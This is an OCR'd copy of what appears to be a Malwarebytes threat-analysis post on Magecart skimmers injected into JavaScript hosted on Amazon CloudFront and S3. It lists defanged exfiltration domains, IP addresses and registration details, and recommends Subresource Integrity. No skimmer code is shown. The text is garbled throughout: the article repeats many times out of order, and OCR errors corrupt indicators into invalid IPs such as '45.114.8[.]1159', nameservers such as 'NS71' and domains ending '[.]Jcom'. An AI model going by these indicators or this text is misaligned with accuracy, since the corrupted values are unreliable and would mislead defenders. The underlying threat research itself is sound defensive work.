CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the

Page 298 of 351


https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/traffic_capture.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/traffic_capture.png

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
i+ |

ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.

== =
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]com,45.114.8[.]159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)
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font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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ww 1-filecloud.com |—Ofgnt_355et5_com

What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.

Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[.]com/wsaimages/js/wizards[.]js

Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>) some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.
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Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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font-assets[.]Jcom,45.114.8[.]1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

